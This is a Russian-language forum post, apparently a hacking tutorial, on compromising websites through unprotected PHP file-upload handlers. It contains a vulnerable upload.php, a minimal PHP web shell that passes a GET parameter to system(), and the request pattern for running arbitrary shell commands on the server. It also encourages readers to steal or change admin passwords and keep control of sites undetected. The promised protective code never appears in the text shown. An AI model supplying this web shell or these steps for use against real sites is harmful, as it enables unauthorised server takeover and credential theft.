Сайты можно взламывать не только через SQL инъекцию, но и через простые формы загрузки файла на сайт или сервер
Вот как выглядит форма для загрузки файла
[Ссылки могут видеть только зарегистрированные пользователи. ]
Обычно загрузка файлов состоит из двух частей принятие файлов от пользователя и показа файлов пользователю. Обычно эти файлы называются так index.php и upload.php
index.php выглядит так
Код:
<form name="upload" action="upload1.php" method="POST" ENCTYPE="multipart/form-data">
Select the file to upload: <input type="file" name="userfile">
<input type="submit" name="upload" value="upload">
</form>
Основная уязвимость кроется в upload.php так как он обрабатывает и загружает файл на сервер
Не защищенный upload.php выглядит так
Код:
<?php
$uploaddir = 'uploads/'; // Relative path under webroot
$uploadfile = $uploaddir . basename($_FILES['userfile']['name']);
if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)) {
echo "File is valid, and was successfully uploaded.\n";
} else {
echo "File uploading failed.\n";
}
?>
В этом коде нет проверки mime - тип фала, точнее кто не знает формат и это и есть основная уязвимость
В данном случае загрузка содержит большую дыру безопасности: upload.php позволяет пользователям загружать произвольные файлы в корень сайта. Злоумышленник может загрузить PHP-файл, который позволяет выполнять произвольные команды оболочки на сервере с привилегией процесса веб-сервера. Такой скрипт называется PHP-Shell. Вот самый простой пример подобного скрипта:
Код:
<?php
system($_GET['command']);
?>
Если этот скрипт находится на сервере, то можно выполнить любую команду через запрос:
server/shell.php?command=any_Unix_shell_command
server - название сайта или сервера
А дальше ваше фантазия и знания PHP и MySQL помогут вам завладеть информацией сайт или сервера. Так же можно будет украсть пароль админа или изменить. Все что хотите, если будете аккуратно с ним действовать, а администратор не будет проверять содержимое сайт, то вы долго будет управлять сайтом
Защитить свой сайт или сервер можно следующим кодом и проверяя mime - тип файла